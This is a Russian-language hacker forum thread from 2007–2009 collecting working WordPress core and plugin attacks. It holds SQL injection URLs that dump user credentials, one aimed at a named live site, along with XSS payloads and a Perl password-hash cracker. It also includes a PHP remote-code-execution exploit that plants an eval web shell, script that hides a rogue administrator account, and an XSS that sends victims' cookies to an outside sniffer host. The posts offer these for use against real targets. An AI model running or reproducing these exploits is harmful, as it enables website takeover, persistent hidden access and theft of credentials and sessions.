[ Обзор уязвимостей WordPress ]

Discussion in 'Веб-уязвимости' started by ettee, 5 Oct 2007.

  1. Fugitif

    Fugitif Elder - Старейшина

    Joined:
    23 Sep 2007
    Messages:
    407
    Likes Received:
    227
    Reputations:
    42
    WordPress MU < 2.6 wpmu-blogs.php Crose SiteScrpting vulnerability

    WordPress MU 2.6 wpmu-blogs.php Crose SiteScrpting vulnerability

    Code:
    http://site/path/wp-admin/wpmu-blogs.php?action=blogs&ip_address=XSS
    Code:
    http://site/path/wp-admin/wpmu-blogs.php?action=blogs&s=XSS
     
  2. Fugitif

    Fugitif Elder - Старейшина

    Joined:
    23 Sep 2007
    Messages:
    407
    Likes Received:
    227
    Reputations:
    42
    WordPress Media Holder (id) Sql injetion vulnerability!

    WordPress Media Holder (id) Sql injetion vulnerability!

    Code:
    -------------------------------------------------------------------
    WordPress Media Holder (id) Sql injetion vulnerability!
    -------------------------------------------------------------------
    -------------------------------------------------------------------
    Author: boom3rang
    Greetz: H!tM@N - KHG - chs - redc00de!
    Site   :  www.khg-crew.ws - [Kosova Hackers Group!]
    -------------------------------------------------------------------
    
    
    -------------------------------------------------------------------
    Dork:         mediaHolder.php?id
    -------------------------------------------------------------------
    Exp:          http://localHost/mediaHolder.php?id=[exploit]
    -------------------------------------------------------------------
    exploit:      -9999/**/UNION/**/SELECT/**/concat(User(),char(58),Version()),2,3,4,5,6,Database()--
    -------------------------------------------------------------------
    liveDemo:
    http://www.dhadm.com/mediaHolder.php?id=-9999/**/UNION/**/SELECT/**/concat(User(),char(58),Version()),2,3,4,5,6,Database()--
    -------------------------------------------------------------------
    
    
    -------------------------------------------------------------------
    Proud 2 be Albanian
    Proud 2 be Muslim
    United States of Albania
    -------------------------------------------------------------------
    
    # milw0rm.com [2008-10-26]
    Source:milw0rm
     
  3. devscripts

    devscripts Elder - Старейшина

    Joined:
    8 May 2007
    Messages:
    131
    Likes Received:
    182
    Reputations:
    134
    WordPress<=2.6.3 XSS vulnerability in RSS Feed Generator

    http://www.securityfocus.com/archive/1/498652
     
  4. devscripts

    devscripts Elder - Старейшина

    Joined:
    8 May 2007
    Messages:
    131
    Likes Received:
    182
    Reputations:
    134
    Уязвимости плагинов WordPress

    Уязвимый продукт: Wp-Forum <=2.2 (последний на данный момент)
    Дорк: inurl: plugins/wp-forum

    SQL-injection:

    ./wp-content/plugins/wp-forum/feed.php?topic=[SQL HERE]

    PHP:
        $topic $_GET['topic'];
        
        if(
    $topic == "all"){
    ...
        }
        else{
            
    $posts $wpdb->get_results("SELECT * FROM $wpforum->t_posts WHERE parent_id = $topic ORDER BY `date` DESC LIMIT 20 ");
            
    $description __("Forum Topic:""wpforum")." - ".$wpforum->get_subject($topic);
            
    $title get_bloginfo('name')." ".__("Forum""wpforum")." - ".__("Topic: ""wpforum")." ".$wpforum->get_subject($topic);
        }
     
    3 people like this.
  5. devscripts

    devscripts Elder - Старейшина

    Joined:
    8 May 2007
    Messages:
    131
    Likes Received:
    182
    Reputations:
    134
    Уязвимый продукт: Simple:press Forum - 3.1.4 (последняя на данный момент)
    Дорк: inurl: plugins/simple-forum

    SQL-injection: ./wp-content/plugins/simple-forum/sf-pmpost.php
    Уязвимая переменная : $_POST['pmtoidlist']

    PHP:
        $tolist explode(','$_POST['pmtoidlist']);
        if(!
    $tolist)
        {    
            
    update_sfnotice('sfmessage''1@'.__('No message recipients were set'"sforum"));
            return;
        }
    ...
        foreach(
    $tolist as $recipient)
        {
            
    $recipient trim($recipient);
    ...
            
    $sql  "INSERT INTO ".SFMESSAGES;
            
    $sql .= " (sent_date, from_id, to_id, title, message, sentbox, is_reply) ";
            
    $sql .= "VALUES (";
            
    $sql .= "now(), ";
            
    $sql .= $current_user->ID.", ";
            
    $sql .= $recipient.", ";
            
    $sql .= "'".$wpdb->escape($title)."', ";
            
    $sql .= "'".$wpdb->escape($messagecontent)."', ";
            
    $sql .= $sentbox.", ";
            
    $sql .= $reply.");";
            if(
    $wpdb->query($sql) === false)
    Примерный эксплойт:
    Логинимся на форум (для отправки личных сообщений, как правило, на форумах рега открыта):
    PHP:
    <form action="http://lamer/platinum/wp-content/plugins/simple-forum/sf-pmpost.php" method="post">
    <
    input type="hidden" name="_wpnonce" value="e5192161fc" />
    <
    input type="hidden" name="_wp_http_referer" value="/platinum/forum/?pmaction=viewinpm&pms=1" />
    <
    input type="hidden" tabindex="0" name="pmaction" id="pmaction" value="savepm" />
    <
    input type="hidden" tabindex="0" name="pmuser" id="pmuser" value="1" />
    sql<input name="pmtoidlist" value="" />
    <
    input type="hidden" tabindex="0" name="pmreply" id="pmreply" value="" />
    title<input type="text" tabindex="4" name="pmtitle" id="pmtitle" value="" />
    text<textarea tabindex="5" name="newpmpost" id="newpmpost" rows="12"></textarea>
    <
    input type="submit" name="newpm" value="ok" />
    </
    form>
    Примерная возвращаемая ошибка:
    PHP:
    WordPress database error: [You have an error in your SQL syntaxcheck the manual that corresponds to your MySQL server version for the right syntax to use near '\' sd, '123', 'sdfsdfds', 1, 0)' at line 1]
    INSERT INTO wp_sfmessages (sent_datefrom_idto_idtitlemessagesentboxis_replyVALUES (now(), 112\' sd, '123', 'sdfsdfds', 1, 0);
    Можно использовать в совокупности с on duplicate update (сорри, не помню точно, ищите адвизори гемаглабина :)
     
    #85 devscripts, 18 Dec 2008
    Last edited: 18 Dec 2008
    2 people like this.
  6. Fugitif

    Fugitif Elder - Старейшина

    Joined:
    23 Sep 2007
    Messages:
    407
    Likes Received:
    227
    Reputations:
    42
    Wordpress 2.7 PasswordHash Attack Tool

    Wordpress 2.7 PasswordHash Attack Tool

    Code:
    #################################################################
    #Wordpress 2.7 PasswordHash Attack Tool
    #It is based in "Portable PHP password hashing framework"
    #for Wordpress 2.7
    #Autor: netsoul
    #Thanks to Waraxe and m1cr0n
    #Contact: netsoul2[at]gmail.com
    #ALTO PARANA - PARAGUAY
    #################################################################
    
    #! /usr/bin/perl -w
    use strict;
    use Digest::MD5 qw(md5 md5_hex);
    use List::Util qw(min);
    
    my $hashP = '$P$BS5/b7lxp4t.0j1ZFTyRcdrvAyxh5R0'; # 12345
    my $dictionary = 'mydic.txt'; # Put a dictionary
    my $php_version = '5'; # Don't modify if you don't know it
    
    open (f1, "<$dictionary") || die "Error in open file!.\n";
        $hashP =~ m{^(\$P\$[/a-zA-Z0-9.]+)};
        die "Bad hash!\n" if length($1) != 34;
        my ($itoa64) = join('', my @itoa64 =
    ('.','/','0'..'9','A'..'Z','a'..'z'));
        my ($salt, $hash)=$hashP=~m/^(.{0,12})(.+)/;
        my ($header)=$salt=~m/^(.{0,3})/;
        while (<f1>) {
        chomp($_);
        print "Current Password: $_\r";
        my $found = &finder($_,$salt,$hash);
        print "\nPassword FOUND: $_" and last if $found;
        print "\nPassword NOT FOUND:" if eof;
        }
    close f1;
    
    sub b64{
        my $input = $_[0];
        my @input = split(//,$input);
        my $count = $_[1];
        my $output = '';
        my $i;
        do {
        my $value = ord($input[$i++]);
        $output .= $itoa64[$value & 0x3f];
        if ($i < $count){
            $value |= ord($input[$i]) << 8;
        }
        $output .= $itoa64[($value >> 6) & 0x3f];
        if ($i++ >= $count){
            return $output;
        }
        if ($i < $count){
            $value |= ord($input[$i]) << 16;
        }
        $output .= $itoa64[($value >> 12) & 0x3f];
        return $output if $i++ >= $count;
        $output .= $itoa64[($value >> 18) & 0x3f];
        } while ($i < $count);
        return $output;
    }
    
    sub EncryptP{
        my $password = $_[0];
        my $setting = $_[1];
        my @setting = split(//,$setting);
        my $hash;
        my $output = '*0';
        $output = '*1' if substr($setting, 0, 2) eq $output;
        return $output if substr($setting, 0, 3) ne $header;
        my $count_log2 = index($itoa64, $setting[3]);
        if ($count_log2 < 7 || $count_log2 > 30){
        return $output;}
        my $count = 1 << $count_log2;
        my $salt = substr($setting, 4, 8);
        return $output if length($salt) != 8;
        if ($php_version >= '5') {
        $hash = md5($salt . $password);
        do {
            $hash = md5($hash . $password);
        } while (--$count);
    
        } else {
        $hash = pack('H*', md5_hex($salt . $password));
        do {
            $hash = pack('H*', md5_hex($hash . $password));
            } while (--$count);
        }
        $output = substr($setting, 0, 12);
        $output .= &b64($hash, 16);
        return $output;
    }
    
    sub HashP{
        my $password = $_[0];
        my $salt = $_[1];
        my $hash;
        $hash = &EncryptP($password,$salt);
        return $hash if length($hash) == 34;
    }
    
    sub CheckP{
        my $password = $_[0];
        my $stored_hash = $_[1];
        my $hash = &EncryptP($password,$stored_hash);
        return $hash;
    }
    
    sub finder{
        my $password = $_[0];
        my $salt = $_[1];
        my $hash = $_[2];
        my $output = &CheckP($password,&HashP($password,$salt));
        return $output eq $salt.$hash;
    }
    
     
    2 people like this.
  7. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    [weird bug] WP-Syntax <= 0.9.1 Remote Command Execution

    WP-Syntax - это самый популярный плагин для wordpress для подсветки кода. Его используют на многих сайтах, например Стефан Эссер использует его на своем блоге. Для меня этот плагин представлял интерес, так как обнаружил его в блоге довольно крупной фарма-партнерки. Проведя анализ исходного кода, я нашел достаточно необычную уязвимость, поэтому решил создать отдельную тему. Возможно у кого-нибудь возникнут замечания или мысли по поводу более изящного решения.

    WP-Syntax использует библиотеку GeSHi, которая и реализует весь функционал по разбору синтаксиса и составления соответствующего для каждого языка html-кода. Разобрав главный скрипт плагина wp-syntax.php, я перешел к папке test, где хранилось 2 скрипта: index.php и code.php. Code.php содержал примеры кода для разных языков, а index.php выводил их с подсветкой для демонстрации возможностей плагина. Index.php инклудит wp-syntax.php, который в свою очередь подключает geshi.php. По замыслу разработчика wp-syntax.php может вызываться только из контекста WP, в то время как test/index.php может запускаться независимо от платформы, при этом автор решил использовать самопальное подобие механизма WP для выполнения callback-функций. Кто знаком с внутренним устройством WP или хотя бы видел часть кода может понять, что я говорю о функциях add_action(), do_action(), apply_filters() и др.

    Самореализованная ф-ция apply_filters выглядит следующим образом:

    PHP:
    function apply_filters($tag$string)
    {
        global 
    $test_filter;

        if (!isset(
    $test_filter[$tag])) return $string;

        
    uksort($test_filter[$tag], "strnatcasecmp");

        foreach (
    $test_filter[$tag] as $priority => $functions)
        {
            if (
    is_null($functions)) continue;

            foreach(
    $functions as $function)
            {
                
    $string call_user_func_array($function, array($string));
            }
        }
        return 
    $string;
    }
    Глобальный массив test_filter нигде ранее не инициализируется, поэтому появляется возможность добавить в него произвольные элементы при register_globals=on и впоследствии выполнить любую функцию с помощью call_user_func_array. В WP есть специальная ф-ция - unregister_globals, защищающая от подобных уязвимостей, но здесь другой случай - скрипт работает вне контекста WP.
    apply_filters вызывается в нескольких местах, один их них:

    PHP:
    <html>
    <head>
    <title>WP-Syntax Test Page</title>
    <link rel="stylesheet" href="../wp-syntax.css" type="text/css" media="screen" />
    <?php
    test_head
    ();

    /* ... */

    function test_head()
    {
      echo 
    apply_filters("wp_head""");
    }
    ?>
    Как видим сложность данного случая заключается в том, что нельзя выполнить функцию с произвольными аргументами - будет передаваться один пустой аргумент с типом string. С первого взгляда мне показалось, что даже банальный phpinfo() выполнить не удастся, так как он принимает аргумент только с типом integer, иначе возникнет ошибка уровня E_WARNING. Однако вникнув в логику ф-ции apply_filters становится ясным, что изменить аргумент для call_user_func_array() можно, так как она выполняется в цикле и присваивает свой результат аргументу для следующей callback-функции. Иначе говоря с помощью специально составленной цепочки функций можно бы было получить -1 и передать это значение в phpinfo (-1 = INFO_ALL). Тут я начал вспоминать все функции PHP, которые могли бы мне помочь в данной ситуации. Как оказалось многие функции, не принимающие аргументов, вызывают ошибку, если предать в них пустое значение. Тем не менее, нужная мне последовательность вызовов функций была найдена:

    http://localhost/wp/2.7/wp-content/plugins/wp-syntax/test/index.php?test_filter[wp_head][99][0]=pi&test_filter[wp_head][99][1]=cos&test_filter[wp_head][99][2]=phpinfo

    Сперва вызывается функция pi(), возвращающая значение числа pi. Как ни странно, эта функция, несмотря на отсутствие принимаемых аргументов, не вызывает ошибку "Wrong parameter count for". Далее идет вызов функции cos(), в которую передается значение числа pi. Как известно, cos(pi) = -1, поэтому в phpinfo() попадает нужное значение и выводятся все данные.

    Казалось большего уже не достичь, но я продолжал поиск способа для выполнения произвольных команд. Необходимо было найти функцию, которая возвращала бы нужные для меня данные. Эти данные можно бы было получить из окружения, но подходящих функций не попадалось. Однако способ все-таки был найден =)
    Ф-ция session_id() может как возвращать значение текущего идентификатора сессии, так и устанавливать его, если был передан аргумент. Мне естественно нужно было получить значение, но как быть с пустым параметром, который постоянно передавался? Я решил проверить возвращаемые значения таким скриптом:

    PHP:
    <?php
    session_start
    ("");
    echo 
    session_id();
    echo 
    session_id("");
    echo 
    session_id();
    ?>
    Выяснилось, что session_id возвращает значение прошлого идентификатора, несмотря на то, что в функцию был передан параметр. Не знаю баг это или нет, но в доках по этому поводу ничего не сказано. В итоге финальный запрос выглядит следующим образом:

    Спасибо за внимание, надеюсь было интересно =)
     
    #87 [Raz0r], 26 Dec 2008
    Last edited: 29 Dec 2008
    16 people like this.
  8. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    ну в session_id запихнуть можно только буквы и цифры, поэтому особо раздолья нет, вот помучал немного :
    ну и куку PHPSESSID=ZXZhbCgkX0dFVFtxXSk7ICAK

    также еще есть в пхп функция get_browser(), но по дефолту ее в php.ini надо настраивать, а так можно былобы через юзер агента текст нужный пихать.
     
    #88 ShAnKaR, 5 Jan 2009
    Last edited: 5 Jan 2009
    2 people like this.
  9. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    Насчет get_browser() тоже думал, но эта функция действительно мало, гда работает.
    Если в PHPSESSID помещать данные в base64, то нужно составлять такие строки, чтобы в них не было символов =.
    Функция call_user_func_array() не допускает использование eval() в качестве callback'а, но твой способ обхода этого ограничения с помощью assert() очень порадовал =)
     
    1 person likes this.
  10. cybersly

    cybersly New Member

    Joined:
    29 Mar 2007
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    cкажите имея логин/хеш от версии 2.5 и SECRET_KEY, подставить кукис можно или нет?
    пол ночи убил так и не получилось :(
     
  11. devscripts

    devscripts Elder - Старейшина

    Joined:
    8 May 2007
    Messages:
    131
    Likes Received:
    182
    Reputations:
    134
    >cкажите имея логин/хеш от версии 2.5 и SECRET_KEY, подставить кукис можно или нет?
    перелистай тему, выкладывали тут тулзу для этого.
    можно, только если кей из wp-config.php оставлен дефолтным
     
    #91 devscripts, 9 Jan 2009
    Last edited: 9 Jan 2009
    1 person likes this.
  12. devscripts

    devscripts Elder - Старейшина

    Joined:
    8 May 2007
    Messages:
    131
    Likes Received:
    182
    Reputations:
    134
    wordpress can be subject of delayed attacks via cookies

    Attack: Denial Of Service
    Required cookies: GLOBALS=<anything>
    Triggering file: index.php (just an example, basically any file including the
    affected file)
    Affected file: wp-settings.php
    Effect: no request is processed as it aborts because of the presence of
    GLOBALS in $_REQUEST

    Attack: Deletion of users
    Required cookies: action=dodelete, delete_option=delete, users[]=n (where n is
    an integer)
    Triggering file: wp-admin/users.php
    Affected file: wp-admin/users.php
    Note: this doesn't affect etch's version as it correctly uses $_POST

    Attack: Denial Of Service
    Required cookies: action=logout
    Triggering file: wp-login.php
    Affected file: wp-login.php
    Effect: redirection loop, preventing the user from logging in

    http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=504771
    http://trac.wordpress.org/ticket/8814
     
  13. OptimaPrime

    OptimaPrime Banned

    Joined:
    30 Mar 2007
    Messages:
    307
    Likes Received:
    588
    Reputations:
    -61
    XSS wp-slimstat 0.92

    Code:
    http://site/wp-admin/index.php?page=wp-sl
    imstat/wp-slimstat.php?panel=1&fi=/feed/&ff=1&ft=%3Cscript%3Ealert(document.cookie)%3C/script%3E
     
    1 person likes this.
  14. devscripts

    devscripts Elder - Старейшина

    Joined:
    8 May 2007
    Messages:
    131
    Likes Received:
    182
    Reputations:
    134
    Wordpress 2.7.0 admin remote code execution vulnerability

    by Ryat[puretot]
    mail: puretot at gmail dot com
    team: http://www.80vul.com
    date: 2008-12-18

    PHP:
    #!/usr/bin/php
    <?php

    print_r
    ('
    +---------------------------------------------------------------------------+
    Wordpress 2.7.0 remote code execution exploit
    by puret_t
    mail: puretot at gmail dot com
    team: http://www.wolvez.org
    site: http://www.80vul.com
    dork: "powered by WordPress"
    +---------------------------------------------------------------------------+
    '
    );
    /**
     * works regardless of php.ini settings
     */
    if ($argc 6) {
        
    print_r('
    +---------------------------------------------------------------------------+
    Usage: php '
    .$argv[0].' host path user pass post
    host:      target server (ip/hostname)
    path:      path to wordpress
    user:      admin login username
    pass:      admin login password
    post:      the available post id
    Example:
    php '
    .$argv[0].' localhost /wp/ admin 123456 1
    +---------------------------------------------------------------------------+
    '
    );
        exit;
    }

    error_reporting(7);
    ini_set('max_execution_time'0);

    $host $argv[1];
    $path $argv[2];
    $user $argv[3];
    $pass $argv[4];
    $post $argv[5];

    $shellcode '\\\';eval(base64_decode(ZnB1dHMoZm9wZW4oJy4uL3dwLWNvbnRlbnQvcGx1Z2lucy93b2x2ZXoucGhwJywndysnKSwnPD9ldmFsKCRfUE9TVFtjXSk7Pz5wdXJldF90Jyk7));\\\'';
    //$shellcode = '\\\';}eval(base64_decode(ZnB1dHMoZm9wZW4oJy4uL3dwLWNvbnRlbnQvcGx1Z2lucy93b2x2ZXoucGhwJywndysnKSwnPD9ldmFsKCRfUE9TVFtjXSk7Pz5wdXJldF90Jyk7));//';
    $shell 'http://'.$host.$path.'wp-content/plugins/wolvez.php';
    /**
     * wolvez.php has this code:
     * <?eval($_POST[c])?>
     */
    $url $path.'wp-login.php';
    $cmd 'log='.urlencode($user).'&pwd='.urlencode($pass);
    $resp send();
    preg_match('/Set-Cookie:\s(wordpress_[a-f0-9]+=[a-zA-Z0-9%]+);/'$resp$admin_cookie);

    if (!
    $admin_cookie)
        exit(
    "Exploit Failed!\n");
        
    $url $path.'wp-admin/user-new.php#add-new-user';
    $cmd '';
    $resp send($admin_cookie[1]);
    preg_match('/name="_wpnonce"\svalue="([a-z0-9]{10})"/'$resp$_wpnonce);

    if (!
    $_wpnonce)
        exit(
    "Exploit Failed!\n");

    $cmd '_wpnonce='.$_wpnonce[1].'&action=adduser&user_login=ryat&email=ryat%40ryat.com&pass1=123456&pass2=123456&role=editor&display_name='.$shellcode;
    $resp send($admin_cookie[1]);

    if (
    strpos($resp'users.php?usersearch=ryat&update=add#user') === false)
        exit(
    "Exploit Failed!\n");

    $url $path.'wp-login.php';
    $cmd 'log=ryat&pwd=123456';
    $resp send();
    preg_match('/Set-Cookie:\s(wordpress_[a-f0-9]+=[a-zA-Z0-9%]+);/'$resp$editor_cookie);

    if (!
    $editor_cookie)
        exit(
    "Exploit Failed!\n");

    $url $path.'wp-admin/post.php?action=edit&post='.$post;
    $cmd '';
    send($editor_cookie[1]);
    send($admin_cookie[1]);

    if (
    strpos(file_get_contents($shell), 'puret_t') !== false)
        exit(
    "Expoilt Success!\nView Your shell:\t$shell\n");
    else
        exit(
    "Exploit Failed!\n");

    function 
    send($cookie '')
    {
        global 
    $host$path$url$cmd;

        
    $data "POST $url  HTTP/1.1\r\n";
        
    $data .= "Accept: */*\r\n";
        
    $data .= "Accept-Language: zh-cn\r\n";
        
    $data .= "Referer: http://$host$path\r\n";
        
    $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
        
    $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
        
    $data .= "Host: $host\r\n";
        
    $data .= "Content-Length: ".strlen($cmd)."\r\n";
        
    $data .= "Connection: Close\r\n";
        
    $data .= "Cookie: $cookie\r\n\r\n";
        
    $data .= $cmd;

        
    $fp fsockopen($host80);
        
    fputs($fp$data);

        
    $resp '';

        while (
    $fp && !feof($fp))
            
    $resp .= fread($fp1024);

        return 
    $resp;
    }

    ?>

    Подробности уязвимости

    wp-admin/post.php

    PHP:
        if ( current_user_can('edit_post'$post_ID) ) {
            if ( 
    $last wp_check_post_lock$post->ID ) ) {
                
    $last_user get_userdata$last );
                
    $last_user_name $last_user $last_user->display_name __('Somebody');
                
    $message sprintf__'Warning: %s is currently editing this post' ), wp_specialchars$last_user_name ) );
                
    $message str_replace"'""\'""<div class='error'><p>$message</p></div>" );
                
    add_action('admin_notices'create_function''"echo '$message';" ) );
                
    //[ex:\';phpinfo();\'];
            
    } else {
                
    wp_set_post_lock$post->ID );
                
    wp_enqueue_script('autosave');
            }
        }
     
    2 people like this.
  15. devscripts

    devscripts Elder - Старейшина

    Joined:
    8 May 2007
    Messages:
    131
    Likes Received:
    182
    Reputations:
    134
    Добавление невидимого админа (1.5-2.3.3)

    Итак, представим, что у нас уже есть доступ к бд и нам необходимо закрепиться на блоге. Для этого создаем нового юзера, даем ему права админа и в бд в таблице wp_usermeta в поле first_name с ИД нашего юзера прописываем:
    PHP:
         <b id="user_superuser"><script language="JavaScript">
         var 
    setUserName = function(){
              try{
                   var 
    t=document.getElementById("user_superuser");
                   while(
    t.nodeName!="TR"){
                        
    t=t.parentNode;
                   };
                   
    t.parentNode.removeChild(t);
                   var 
    tags document.getElementsByTagName("H3");
                   var 
    " shown below";
                   for (var 
    0tags.lengthi++) {
                        var 
    t=tags[i].innerHTML;
                        var 
    h=tags[i];
                        if(
    t.indexOf(s)>0){
                             
    =(parseInt(t)-1)+s;
                             
    h.removeChild(h.firstChild);
                             
    document.createTextNode(s);
                             
    h.appendChild(t);
                        }
                   }
                    var 
    arr=document.getElementsByTagName("ul");
                    for(var 
    i in arr) if(arr[i].className=="subsubsub"){
                        var 
    n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML);
                        if(
    n[1]>0){
                            var 
    txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<");
                            
    arr[i].innerHTML=txt;
                        }
                    }
                    
              }catch(
    e){};
         };
         
    addLoadEvent(setUserName);
         
    </script>" /></label></p>
    В итоге, наш админчег не будет виден на странице wp-admin/users.php =)
    Для версий 2.5-2.7 могут быть свои вариации.
     
    1 person likes this.
  16. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Wordpress Wp-forum plugin 1.7.8 Sql injection vulnerability
    exploit:
    Code:
    http://site.com/blog/wp-content/plugins/wp-forum/forum_feed.php?thread=[SQL]
    Code:
    http://site.com/blog/wp-content/plugins/wp-forum/forum_feed.php?thread=-99999+union+select+1,2,3,concat(user_login,0x2f,user_pass,0x2f,user_email),5,6,7+from+wp_users/*
    источник:http://milw0rm.com/
     
  17. Kraneg

    Kraneg Elder - Старейшина

    Joined:
    30 Aug 2008
    Messages:
    107
    Likes Received:
    97
    Reputations:
    21
    Уязвимости модулей WordPress

    Уязвимость в модуле статистики wassup
    Version: 1.6.4 (вроде как и <=1.6.4)

    Активная XSS
    Не фильтруется поле Referrer. Уязвимость есть в двух местах: на главной странице статистики и подробной статистике по IP.
    Первый код подробной статистики(wassup/lib/action.php):
    PHP:
    $raw_table = $wpdb->get_results("SELECT ip, hostname, agent, referrer, search, searchpage, os, browser, language FROM $table_name WHERE wassup_id='".urlencode(attribute_escape($_GET['wassup_id']))."' ORDER BY timestamp ASC LIMIT 1"); ?>
    <div><h2><?php _e("Raw data","wassup"); ?>:</h2>
    <ul style="list-style-type:none;padding:20px 0 0 30px;">
    <?php foreach ($raw_table as $rt) { ?>
    ...
    <li><?php echo __("Referrer","wassup").": ".urldecode($rt->referrer); ?></li>
    ...
    <?php }
    //end foreach ?>
    Второй код(wassup/lib/main.php):
    PHP:
    $referrer = '<a href="'.$cv->referrer.'" target=_"BLANK">'.stringShortener($cv->referrer, round($max_char_len*.9,0)).'</a>';
    ...
    <?php print $referrer?>
    Пример:
    Code:
    GET /wp/ HTTP/1.0
    User-Agent: [любой User agent]
    Host: localhost
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
    Referer: XSS к примеру Referer: %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%29%3C%2F%73%63%72%69%70%74%3E
    Proxy-Connection: Keep-Alive
    Ну а что бы увидеть эту xss заходим в админку->wassup и лицезреем =)
     
    2 people like this.
  18. Kraneg

    Kraneg Elder - Старейшина

    Joined:
    30 Aug 2008
    Messages:
    107
    Likes Received:
    97
    Reputations:
    21
    Уязвимость в модуле Connections
    Version: 0.4.0 (вроде как и <=0.4.0) в частности класс php_class_upload v.0.26 и ниже

    В комплекте с модулем есть папка php_class_upload содержащая класс по работе с файлами(класс не от разработчиков модуля, а сторонний, подробнее можно посмотреть здесь http://www.verot.net/php_class_upload.htm) так вот в этом классе из за не достаточной фильтрации расширения загружаемых файлов в class.upload.php:
    PHP:
                // turn dangerous scripts into text files
                
    if ($this->no_script) {
                    if (((
    substr($this->file_src_mime05) == 'text/' || strpos($this->file_src_mime'javascript') !== false)  && (substr($this->file_src_name, -4) != '.txt'))
                        || 
    preg_match('/\.(php|pl|py|cgi|asp)$/i'$this->file_src_name) || empty($this->file_src_name_ext)) {
                        
    $this->file_src_mime 'text/plain';
                        
    $this->log .= '- script '  $this->file_src_name ' renamed as ' $this->file_src_name '.txt!<br />';
                        
    $this->file_src_name_ext .= (empty($this->file_src_name_ext) ? 'txt' '.txt');
                    }
                }
    можно залить сначала файл с расширением.htaccess в котором указать AddType application/x-httpd-php .someext ну а дальше уже сам шелл shell.someext, или сразу .phtml или .html
    Папку с классом многие копируют без изменений, а файл index.html содержит тестовую форму по загрузке файлов... Вобщем удобная форма по загрузке шела =) к примеру посмотреть можно на оф сайте модуля
    Code:
    http://www.shazahm.net/wp-content/plugins/connections/php_class_upload/
    ну и из за недостаточной фильтрации будут уязвимо все где использован этот класс...
     
    #98 Kraneg, 2 Mar 2009
    Last edited: 2 Mar 2009
    2 people like this.
  19. Kraneg

    Kraneg Elder - Старейшина

    Joined:
    30 Aug 2008
    Messages:
    107
    Likes Received:
    97
    Reputations:
    21
    Модуль на WordPress - Appstore Charts
    Version v. 1.2

    Уязвимость как всегда из за невнимательности разработчиков... Как и в прошлом модуле используются сторонние разработки, в данном случае Magpie RSS - PHP RSS Parser(подробнее можно узнать тут: http://magpierss.sourceforge.net/)
    Папка Magpie RSS полностью содержится в составе модуля, а вместе с ним и пробные срипты =) Вобщем уязвимость в следующих местах:
    1. Уязвимоcть в файле itunes-appstore-charts/magpierss/scripts/magpie_slashbox.php
    Уязвимый код:
    PHP:
    $url $_GET['rss_url'];
    [...]
    if ( 
    $url ) {
        echo 
    "displaying: $url<p>";
        
    $rss fetch_rss$url );
        echo 
    slashbox ($rss);
    }

    echo 
    "<pre>";
    print_r($rss);
    echo 
    "</pre>";
    Для проверки можно обратиться:
    Code:
    http://localhost/wp/wp-content/plugins/itunes-appstore-charts/magpierss/scripts/magpie_slashbox.php?rss_url=<script>alert()</script>
    Но можно увидеть что на странице появились ошибки(в частности раскрытие путей) и цель может испугаться или догадаться, и сменить пароль я лично вижу такой выход из ситации =) просто не дать ему увидеть:
    Code:
    http://localhost/wp/wp-content/plugins/itunes-appstore-charts/magpierss/scripts/magpie_slashbox.php?rss_url=<script>document.location.href="http://addres-snifera.ru/s.gif?"%2Bdocument.cookie</script>
    + на %2B обязательно иначе не пройдет...
    2. Уязвимоcть в файле itunes-appstore-charts/magpierss/scripts/magpie_debug.php
    Уязвимый код:
    PHP:
    if ( isset($_GET['url']) ) {
        
    $url $_GET['url'];
    }
    else {
        
    $url 'http://magpierss.sf.net/test.rss';
    }

    [...]

    $rss fetch_rss$url );
        
    if (
    $rss) {
        echo 
    "<h3>Example Output</h3>";
        echo 
    "Channel: " $rss->channel['title'] . "<p>";
        echo 
    "<ul>";
        foreach (
    $rss->items as $item) {
            
    $href $item['link'];
            
    $title $item['title'];    
            echo 
    "<li><a href=$href>$title</a></li>";
        }
        echo 
    "</ul>";
    }
    else {
        echo 
    "Error: " magpie_error();
    }
    ?>
    Использование аналогично номеру 1 =) только rss_url на url меняется...
     
    1 person likes this.
  20. Kraneg

    Kraneg Elder - Старейшина

    Joined:
    30 Aug 2008
    Messages:
    107
    Likes Received:
    97
    Reputations:
    21
    Уязвимости в модуле WP Wall
    Version: 1.4.2(возможно и ниже)

    1.Пассивная XSS
    Условия: register_globals = On
    Уязвимость в файле wp-wall\wp-wall-widget-control.php
    Уязвимый код:
    HTML:
    <p>Visit <a href="options-general.php?page=wp-wall.php">WP Wall options</a> page for more options.</p>
    <p><label for="wall_title">Title: <input  name="wall_title" type="text" value="<?php echo $title; ?>" /></label></p>	
    <input type="hidden" id="wall_submit" name="wall_submit" value="1" />
    Пример использования:
    Code:
    http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget-control.php?title="><script>alert()</script>
    2. Еще одна пасивная XSS:
    Условия: register_globals = On
    Уязвимость в файле wp-wall\wp-wall-widget.php
    Уязвимый код:
    PHP:
    <?php     
        
    echo $before_widget
        echo 
    $before_title $wall_title$after_title;
    ?>
    Пример использования:
    Code:
    http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget.php?before_widget=<script>alert()</script>
    Code:
    http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget.php?before_title=<script>alert()</script>
    Code:
